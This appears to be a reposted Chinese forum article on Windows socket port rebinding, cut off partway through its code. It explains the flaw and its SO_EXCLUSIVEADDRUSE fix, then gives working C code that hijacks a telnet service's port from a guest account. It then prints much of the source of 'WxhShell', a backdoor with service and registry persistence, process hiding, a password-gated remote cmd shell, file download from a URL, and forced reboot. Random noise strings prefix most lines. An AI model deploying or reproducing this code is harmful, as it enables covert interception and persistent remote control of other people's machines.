在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{tiKH=&J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-_N)E ))G 4aUiXyr*2 saddr.sin_family = AF_INET;
=QOg 6 5(m(xo6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"ju'UOcS/ iE].&>w bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
F@YKFk+a BuOgOYh9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Fhf<T` EGVM)ur 这意味着什么?意味着可以进行如下的攻击:
mtAE ?C-Towo=i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
78 f$6J q kz}R[7
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U7h(`b B1!kn}KlL{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
x;s0j"`Jb lLhL`C! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
QzvHm1,@ oUZoj2G1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2JGL;U$ EgjR^A1W2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
XvTCK>1 hX:"QXx 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
D{8PQ2x> 3SttHu0X #include
c9"r6j2m5 #include
;&b.T}Nf06 #include
Q\ppfc{, #include
C1kYl0zR[ DWORD WINAPI ClientThread(LPVOID lpParam);
<ABX0U[* int main()
Ifc]K? {
saf&dd WORD wVersionRequested;
2,q}Nq DWORD ret;
\3f&7wU WSADATA wsaData;
]`g@UtD9` BOOL val;
&ANP`= SOCKADDR_IN saddr;
)kXhtjOl| SOCKADDR_IN scaddr;
dt@P>rel int err;
MGS-4>Q# SOCKET s;
Qn@Pd* DR SOCKET sc;
'a6<ixgo0 int caddsize;
O^Q7b7}y HANDLE mt;
nI.x DWORD tid;
`l;n:]+ wVersionRequested = MAKEWORD( 2, 2 );
l7H
qo) err = WSAStartup( wVersionRequested, &wsaData );
YyAJ m^o if ( err != 0 ) {
"TyJP[/ printf("error!WSAStartup failed!\n");
u$#Wv2| mk return -1;
q[q?hQ/b }
B%CTOi saddr.sin_family = AF_INET;
CAq/K?:8 S-Y=-" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
f5AjJYq1 ^zzP. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
%ts^Z*3u saddr.sin_port = htons(23);
2Y\
d<.M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{9Y+.46S {
?'86d_8 printf("error!socket failed!\n");
3<? return -1;
i':ydDOOHA }
fWfk[(M'9 val = TRUE;
2WX7nK;I //SO_REUSEADDR选项就是可以实现端口重绑定的
J]lrS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(.wIe/ {
wI]"U2L5 printf("error!setsockopt failed!\n");
_.IxRk)T return -1;
v\16RD }
O/AaYA& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
xsd_Uu* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
( wDm*bZ* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{'?)FX*W A1'hlAGF if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
u0aJu {
lO&3{dOYE ret=GetLastError();
]D[DU]K printf("error!bind failed!\n");
gb
^?l~SS return -1;
M FTkqbc }
;<yd^Xs listen(s,2);
'o|30LzYgQ while(1)
k.("3R6v: {
\$0F-=w`8 caddsize = sizeof(scaddr);
wW>zgTG //接受连接请求
xh7c VE[UM sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]#7zk9 if(sc!=INVALID_SOCKET)
}bY;q- {
Tc8un. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
N\:.
M if(mt==NULL)
O5$/55PI {
&j(+ /;A printf("Thread Creat Failed!\n");
Ee4&g<X. break;
?]D"k4 }
W;bu2ym&Q }
3)-/`iy# CloseHandle(mt);
.ObZ\.I }
u6>?AW1~ closesocket(s);
G!K]W:m WSACleanup();
hX`}Q4(k return 0;
C<KrMRWh^ }
(Yp+bS(PU* DWORD WINAPI ClientThread(LPVOID lpParam)
%K(<$! {
pw7[y^[Qg SOCKET ss = (SOCKET)lpParam;
TIp:FW[ SOCKET sc;
-@T/b$]'n unsigned char buf[4096];
zSo)k~&[3 SOCKADDR_IN saddr;
Q+4Xs.# long num;
T,|
1g6 DWORD val;
X[f=h=| DWORD ret;
r.4LU //如果是隐藏端口应用的话,可以在此处加一些判断
!r#?C9Sq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
-S3MH1TZ saddr.sin_family = AF_INET;
$O9^SB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Fx-8M! saddr.sin_port = htons(23);
9U$EJN_G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^G6RjJxqp8 {
^i:`ZfA# printf("error!socket failed!\n");
(aD_zG=k5 return -1;
5:'hj$~|\1 }
B}PIRk@a1 val = 100;
8\{^|y9- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X]P:CY {
0eK*9S] ret = GetLastError();
Q}-~O1 return -1;
E b=}FuV }
^Z:~91Tv-_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@|Rrf*J?% {
e{m2l2Tx: ret = GetLastError();
-_`>j~ return -1;
,o)d3g-&g }
%-d]X{J: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
76u&EG% {
T49zcJf; printf("error!socket connect failed!\n");
g!-,] closesocket(sc);
4;2< ^[M closesocket(ss);
o6V}$wT3J return -1;
H^YSJ6 }
oWYmj=D~2z while(1)
P2bZ65>3y {
$@UN4B?y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:=J,z,H_U //如果是嗅探内容的话,可以再此处进行内容分析和记录
=$]uoA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)_U<7"~0l num = recv(ss,buf,4096,0);
>nzdnF_&zW if(num>0)
,yd?gP-O send(sc,buf,num,0);
!Q#{o^{Y~ else if(num==0)
lT(oL|{#P break;
;3'.C~ num = recv(sc,buf,4096,0);
8MSC.0 if(num>0)
-wjN"g< send(ss,buf,num,0);
F&&$Qn_+ else if(num==0)
br|;'i%( break;
H,b5C_D29 }
]\!?qsT3} closesocket(ss);
jYe'V#5S# closesocket(sc);
U"Zmv return 0 ;
O }
f80K }
^MVkZ{gtre e o pD5 \EVBwE, ==========================================================
YCP) %} z<yU-m2h 下边附上一个代码,,WXhSHELL
y\a1iy '0FhL)x?"T ==========================================================
t+eVR8 l8?>>.<P= #include "stdafx.h"
2 $Tj84'X %Ah^E$&n2 #include <stdio.h>
y3h/IpT #include <string.h>
-{ H0g] #include <windows.h>
;UxP
Kpl #include <winsock2.h>
ONe# rKJ_ #include <winsvc.h>
eM+!Y>8Y #include <urlmon.h>
dH-s2r%s 0(S"{Ov #pragma comment (lib, "Ws2_32.lib")
?]*^xL;x? #pragma comment (lib, "urlmon.lib")
&uO%_6J x@*SEa #define MAX_USER 100 // 最大客户端连接数
-]QD|w3dp #define BUF_SOCK 200 // sock buffer
;cQ6g`
bM\ #define KEY_BUFF 255 // 输入 buffer
}2e??3 ho$+L #define REBOOT 0 // 重启
bua+I;b #define SHUTDOWN 1 // 关机
gM
_hi ]wtb-PC #define DEF_PORT 5000 // 监听端口
*NG+L)g <WcR,d #define REG_LEN 16 // 注册表键长度
U-|NY #define SVC_LEN 80 // NT服务名长度
uXKERzg Ry'= ke // 从dll定义API
_A=$oVe typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~m$Y$,uH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)'~6HO8Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
={z*akn, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
RRI"d~~F6 -:na:Vsi // wxhshell配置信息
PbmDNKEh{ struct WSCFG {
S;)w. int ws_port; // 监听端口
;dJ1 char ws_passstr[REG_LEN]; // 口令
-q*i_r:, int ws_autoins; // 安装标记, 1=yes 0=no
} q$ WvY/ char ws_regname[REG_LEN]; // 注册表键名
=F@Wgn, char ws_svcname[REG_LEN]; // 服务名
(JM5`XwM
char ws_svcdisp[SVC_LEN]; // 服务显示名
GSRVe/[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
!7kG!)40 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(_"*NY0 int ws_downexe; // 下载执行标记, 1=yes 0=no
T7#W0^tj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
07[_.i.l char ws_filenam[SVC_LEN]; // 下载后保存的文件名
o}$EG 2* 2wY = };
Ba!J"b] *3?'4"B{8 // default Wxhshell configuration
Dp':oJC struct WSCFG wscfg={DEF_PORT,
2n|K5FR() "xuhuanlingzhe",
!Ze5)g%H 1,
4 XAQVq5 "Wxhshell",
sashzVwJ-= "Wxhshell",
NB8/g0:=n& "WxhShell Service",
(,8$V\ "Wrsky Windows CmdShell Service",
[Lzw#XE "Please Input Your Password: ",
oomT)gO 6* 1,
4B^ZnFJ%m "
http://www.wrsky.com/wxhshell.exe",
u4/kR "Wxhshell.exe"
fc
|GArL#} };
aL&n[
o:_Xv.HRZo // 消息定义模块
W`u[h0\c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
fyByz=pl char *msg_ws_prompt="\n\r? for help\n\r#>";
P3=W|81e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,=#F// char *msg_ws_ext="\n\rExit.";
BYMi6wts char *msg_ws_end="\n\rQuit.";
o<|P9#(U" char *msg_ws_boot="\n\rReboot...";
}3OKC2K~ char *msg_ws_poff="\n\rShutdown...";
W;,C_ char *msg_ws_down="\n\rSave to ";
s[w6FXt y$_eCmq char *msg_ws_err="\n\rErr!";
"\3B^ e, char *msg_ws_ok="\n\rOK!";
"t~ ;oy-#p>N% char ExeFile[MAX_PATH];
])nPPf int nUser = 0;
Y4v|ko`l% HANDLE handles[MAX_USER];
OR;uqV@ int OsIsNt;
o}* hY"& 3G(miP6 SERVICE_STATUS serviceStatus;
%y@Hh= SERVICE_STATUS_HANDLE hServiceStatusHandle;
p{j.KI s7 [m|YWT= // 函数声明
~4 `5tb int Install(void);
U15H@h int Uninstall(void);
j'HZ\_ int DownloadFile(char *sURL, SOCKET wsh);
Bq$rf < W int Boot(int flag);
&FF"nE* void HideProc(void);
WjlZ6g2i int GetOsVer(void);
.p e( lP int Wxhshell(SOCKET wsl);
R
wZ]),o void TalkWithClient(void *cs);
.%L?J E int CmdShell(SOCKET sock);
jbS\vyG int StartFromService(void);
&M.66O@ int StartWxhshell(LPSTR lpCmdLine);
DF*:_B) ,f[>L|?e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z)SY.iK. VOID WINAPI NTServiceHandler( DWORD fdwControl );
s]f6/x/~ `1bv@yzq // 数据结构和表定义
!Rhlf.x SERVICE_TABLE_ENTRY DispatchTable[] =
,}K7Dg^1 {
61)-cVC {wscfg.ws_svcname, NTServiceMain},
*q-['"f {NULL, NULL}
UOxkO };
+,#$:fs u v%iof1 T'
// 自我安装
k\NMy#]Zt int Install(void)
CD~z=vlK- {
~wkj&yVT char svExeFile[MAX_PATH];
Ljp%CI[i HKEY key;
K|:@Z strcpy(svExeFile,ExeFile);
w%JTTru e,Uo#T6J // 如果是win9x系统,修改注册表设为自启动
pUV/Ul] if(!OsIsNt) {
K*X_FJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P_Gw-`L5T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(q(~de RegCloseKey(key);
*%S"eWb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-)RH5WG S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jAm3HI
RegCloseKey(key);
MMx9(`t*. return 0;
PqiB\~o@Z }
T^Ze3L] }
9Ru8~R/\ }
B4i!/@0s else {
g.zEn/SM yL2o}ZbS // 如果是NT以上系统,安装为系统服务
fR*q?, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&i$ldR if (schSCManager!=0)
Stu4t==U {
\uza=e SC_HANDLE schService = CreateService
,v';>.] (
$**r(HV schSCManager,
Ljx(\Cm wscfg.ws_svcname,
d ysC4DS wscfg.ws_svcdisp,
&3TEfvz SERVICE_ALL_ACCESS,
X ><?F|#7T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
HLV2~5Txc SERVICE_AUTO_START,
!3*(N8_|# SERVICE_ERROR_NORMAL,
[&#/]Ul' svExeFile,
3<
2}V NULL,
aD=A^ktx NULL,
SU/BQ3 NULL,
>VN5`Zlw\C NULL,
'>' wK. NULL
5sx1Zq7 );
vM*($qpAy if (schService!=0)
q@nP}Pv&5 {
5yzv|mrx CloseServiceHandle(schService);
gT#&"aP5S CloseServiceHandle(schSCManager);
\ytJ=0r strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c0;t4(
&8 strcat(svExeFile,wscfg.ws_svcname);
'VlDh`<W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4:dH] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
q&W[j5E RegCloseKey(key);
"3)4vuX@;c return 0;
k=4N.*#`y }
CkdP #}f }
^7 &5
z&o CloseServiceHandle(schSCManager);
Ipq"E }
~s]iy9i }
8p@Piy{p [g:$K5\64 return 1;
/M3Y~l$ }
/qy-qUh3h pJt,9e6 // 自我卸载
/.o^R6 int Uninstall(void)
.2v_H5< {
*U]V@;XF HKEY key;
"F.;Dv9V[0 .R./0Ot tx if(!OsIsNt) {
OG~6L4" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<F`>,Pm RegDeleteValue(key,wscfg.ws_regname);
G}:lzOlMH RegCloseKey(key);
m6[0Kws& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Od%"B\ RegDeleteValue(key,wscfg.ws_regname);
O0pDd4)" RegCloseKey(key);
^ml'? return 0;
or';A'k }
j+["JXy }
@++.FEf }
1M
781 else {
ZGYr$C~ O2f-5Y$@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
),ma_{$N if (schSCManager!=0)
>V*mr{/1 {
Gr^E+#; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
b7wvaRe. if (schService!=0)
V&\[)D'c {
+(1zH-^. if(DeleteService(schService)!=0) {
)XzI
#iQ CloseServiceHandle(schService);
X .5aMm CloseServiceHandle(schSCManager);
fvF?{k> ~} return 0;
w6W}"Uw }
/|eA9 ] CloseServiceHandle(schService);
jg\Z;_!W }
ZfgJ.<< CloseServiceHandle(schSCManager);
N,;5{y1;J }
S7L=#+Z }
Ksy -e{n ,Qnd3[2[ return 1;
oze& }
~?FpU Ju
:CMkv // 从指定url下载文件
s!}ne"&0
int DownloadFile(char *sURL, SOCKET wsh)
KNLfp1! {
,H19`;Q HRESULT hr;
G6FEp` char seps[]= "/";
Dqe^E%mc char *token;
:"IE char *file;
\8 h;K>=h char myURL[MAX_PATH];
eK!V
); char myFILE[MAX_PATH];
IuRmEL_Q_ y10h#&k strcpy(myURL,sURL);
~ y;6W0x token=strtok(myURL,seps);
26k LhFS while(token!=NULL)
FcYFovS {
\DD0s8 file=token;
thvYL.U: token=strtok(NULL,seps);
{'2@(^3 }
o17ekML /gu%:vq GetCurrentDirectory(MAX_PATH,myFILE);
ykX/9y+-s strcat(myFILE, "\\");
naw0$kXTA strcat(myFILE, file);
fI~Xmw+}} send(wsh,myFILE,strlen(myFILE),0);
Ts ^"xlK send(wsh,"...",3,0);
'_/Bp4i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
fmiz,$O4? if(hr==S_OK)
x>* Drm 7 return 0;
v!ujj5-$I else
yz LpK; return 1;
JMz;BAHT 7e#?e+5+A }
yA.4G_|I T|dY
2 // 系统电源模块
]5$eAYq int Boot(int flag)
H+ 0$tHi {
6^"=dn6K HANDLE hToken;
'toa@5 TOKEN_PRIVILEGES tkp;
J~1r{5V4{ =UJ:t Sr if(OsIsNt) {
(v}>tb*#` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
NX/;+{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:h&fbBH tkp.PrivilegeCount = 1;
kLni{IYN7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
j/nWb`#y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)p~BQ~eip; if(flag==REBOOT) {
^*S)t.
" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@g$Gti return 0;
N%"Y }
}`v~I4i else {
fbL\?S,w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
v{jQek4 return 0;
.Jrqm }
ghX|3lI\q }
krC{ed else {
Y<Xz
wro0 if(flag==REBOOT) {
Mc%Nf$XQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
UF<uU-C" return 0;
fe_yqIdk }
$ n+w$CI) else {
;ml)l~~YU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;r>snJ=M return 0;
+tk{"s^r* }
.$%Soyr?, }
4)"n
RjGg 8-_QFgY return 1;
K!'AkTW+- }
C0
/g1;p( Z6_N$Z.A // win9x进程隐藏模块
G-He" 4& $ void HideProc(void)
_-9@qe {
Lv'D^'I &*7?)eI!i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
zSSB>D if ( hKernel != NULL )
I-WhH>9 {
0em#-*|2" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
YR>B_,Gl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
B,K>rCZ/ FreeLibrary(hKernel);
FcRW;e8- }
_jNj-)RB_ YE= q:Bv return;
+AHUp) }
W0k0$\iX <0QH<4 // 获取操作系统版本
=ZDAeVz3w int GetOsVer(void)
sm\f0P!rv {
F^5?\ OSVERSIONINFO winfo;
sp5eVAd winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Tjl:|F8 GetVersionEx(&winfo);
8&Oa_{1+Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
nD)K}4 return 1;
P4F3Dc else
;B?DfWX return 0;
\L(*]:EP }
#DN0T' B 9uer(}WKT // 客户端句柄模块
cu% C" int Wxhshell(SOCKET wsl)
H]$)Eg%6 {
lNL6M%e$Q SOCKET wsh;
't_[dSO struct sockaddr_in client;
;Ww7"-=sw DWORD myID;
??i,Vr@)w Q<KvBgmT while(nUser<MAX_USER)
Z7_ zMM {
)E,\H@A int nSize=sizeof(client);
y-j\zK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1xbK'i:-S if(wsh==INVALID_SOCKET) return 1;
w7FW^6Zl lK4M.QV
?\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
aAA9$ if(handles[nUser]==0)
c{&*w")J closesocket(wsh);
w^#L9i'v' else
fuA&7gNC nUser++;
|{@8m9JR }
>zhO7,=, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
}t;(VynV) V0%V5> return 0;
-W<vyNSr }
^.hoLwp. kf;/c}} // 关闭 socket
s7l;\XBy void CloseIt(SOCKET wsh)
a9T@$: {
Ma\Gb+> closesocket(wsh);
e+j)~RBnu3 nUser--;
\N4
y< ExitThread(0);
gF0q@M y~ }
}>'PT- K"0PTWt // 客户端请求句柄
i@B[ eta void TalkWithClient(void *cs)
~>:Z6Le@ {
Cz W:L&t "d$m@c SOCKET wsh=(SOCKET)cs;
*0}3t<5 char pwd[SVC_LEN];
Qhw^S* char cmd[KEY_BUFF];
%<\6TZr char chr[1];
!Yw3 d int i,j;
TD9;kN1` Xu>r~^w=S while (nUser < MAX_USER) {
r)1'ePI"
WJ
d%2pO] if(wscfg.ws_passstr) {
s-RQMK}H if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c=
x,ijY
" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qt3PXqR7: //ZeroMemory(pwd,KEY_BUFF);
cI=r+OGk* i=0;
:Mcu while(i<SVC_LEN) {
\oEo~ "F}'~HWZp // 设置超时
-YjA+XP fd_set FdRead;
\/SQ,*O struct timeval TimeOut;
H{AMZyV0/d FD_ZERO(&FdRead);
PI~1GyJr@; FD_SET(wsh,&FdRead);
p?2Y }9 TimeOut.tv_sec=8;
?0
m\(# TimeOut.tv_usec=0;
vNeCpf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.!6>oL/iF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
DwV4o^J:l `zR+ tbm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Kv rX{F= pwd
=chr[0]; cPl`2&p
if(chr[0]==0xd || chr[0]==0xa) { 1tJg#/?
pwd=0; uU> wg*m
break; A#W?2k9
} g1UGd
i++; UDe |Sb
} ErT{(t7
7-~Q5Kr.
// 如果是非法用户,关闭 socket .iQT5c
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -\y-qHgb/
} 'Vr$MaO
o d7]tOK9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xESjM1A)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _6k*'aT~FK
2~*Ez!.3
while(1) { X<MO7I
7nVRn9Hn
ZeroMemory(cmd,KEY_BUFF); oM2UzB{(
{ K_kPgKS
// 自动支持客户端 telnet标准 N,J9Wu ZJ\
j=0; * FeQ*`r
while(j<KEY_BUFF) { -@F fU2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `?y<>m*
cmd[j]=chr[0]; -3&G"hfK
if(chr[0]==0xa || chr[0]==0xd) { M^7MU}5w
cmd[j]=0; rFZrYm
break; `$YP<CJeq
} jr /lk
j++; $v`afd y
} O Lc}_
Ka|eFprS
// 下载文件 jS!`2li?{
if(strstr(cmd,"http://")) { `' 153M]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); s3 ;DG
if(DownloadFile(cmd,wsh)) e*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); om3`[r[{
else }%-t+Tf,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 Q!bt
} @O}7XRJ_8
else { 9ktEm|F3
]{
d[
switch(cmd[0]) { Fa epDjY8
m3^/:<
// 帮助 {3Y )rY!z
case '?': { ]}mxY
vu_i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GI7=xh
break; '>k{tPi.
} Dw2Q 'E
// 安装 npDIX
case 'i': { @-)tM.8~
if(Install()) T'#!~GpB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T%F0B`
else $ C0TD7=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =1oNZKBP
break; `T2 <<<
} J RPSvP\
// 卸载 +y#T?!jQYj
case 'r': { O%f8I'u$
if(Uninstall()) [,~TaP}m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -/D|]qqHm
else 46h@j>/K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Hd{sd#xX1
break; vU*x2fVb}
} W"Jn(:&
// 显示 wxhshell 所在路径 #Rew [\$
case 'p': { %vO<9fE|1
char svExeFile[MAX_PATH]; .A1\J@b
strcpy(svExeFile,"\n\r"); e#/kNHl
strcat(svExeFile,ExeFile); *8ExRQZ$
send(wsh,svExeFile,strlen(svExeFile),0); `*\{.;,]#
break; .9|uQEL
} ]bgY6@M
// 重启 #*c F8NV-
case 'b': { 'ZQWYr9R
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tVqmn
if(Boot(REBOOT)) X8<2L2:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #)`A7 $/,
else { 6<5Jq\-h
closesocket(wsh); 8V$3b?]
ExitThread(0); L7mz#CMWf
} eX2<}'W<
break; d'l$$%zJ
} Iia.k'N
// 关机 m=b~i^@
case 'd': { gor<g))\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5M23/=
N
if(Boot(SHUTDOWN)) cgj.e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s(&;q4|
else { S*)o)34U
closesocket(wsh); q9dLHi<1
ExitThread(0); n~Szf
} ACjf\4Q
break; GIv){[i
} K`nJVc
// 获取shell nSY-?&l6P
case 's': { qd!#t]
CmdShell(wsh); Sd:.KRTu.
closesocket(wsh); 4VIg>EL*
ExitThread(0); =J@`0H"
break; 4R +P
} @+^c"=d1S
// 退出 Lm.`+W5
case 'x': { V2yveNz\7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \]Z&P,}w
CloseIt(wsh); hXX1<~k
break; 8mgQu]>
} n=`w9qajd
// 离开 6~Wu`
case 'q': { viuiqs5[Bi
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
C(]'&~}(
closesocket(wsh); ):bu;3E
WSACleanup(); |5xz l
exit(1); )o8g=7Jm
break; ">6&+^BN'
} *?8RXer
} )&.!3y 660
} j
0
Y
+AK:(r
// 提示信息 /84bv=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <pOl[5v]
} M}!A]@
} .v,bXU$@YG
<*YO~S(R
return; ypA: P
} EDN(eh(_
+{6`F1MO
// shell模块句柄 ek[kq[U9
int CmdShell(SOCKET sock) Igjr~@#
{ Lht[g9
STARTUPINFO si; Tiprdvm<
ZeroMemory(&si,sizeof(si)); /{DaPqRa
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C|6{fd4?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;i9>}]6
PROCESS_INFORMATION ProcessInfo; >Me]m<$E;
char cmdline[]="cmd";
5T/J%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y[:q"BB3
return 0; ny`(f,)u*
} &r:m&?!|VQ
/p$=Cg[K
// 自身启动模式 a`38db(z
int StartFromService(void) pb$fb
{ gPUo25@pn*
typedef struct Ea4
* o
{ ycjJbL(.
DWORD ExitStatus; -]QguZE
DWORD PebBaseAddress; k2OM="Ei}
DWORD AffinityMask; E{gv,cUM
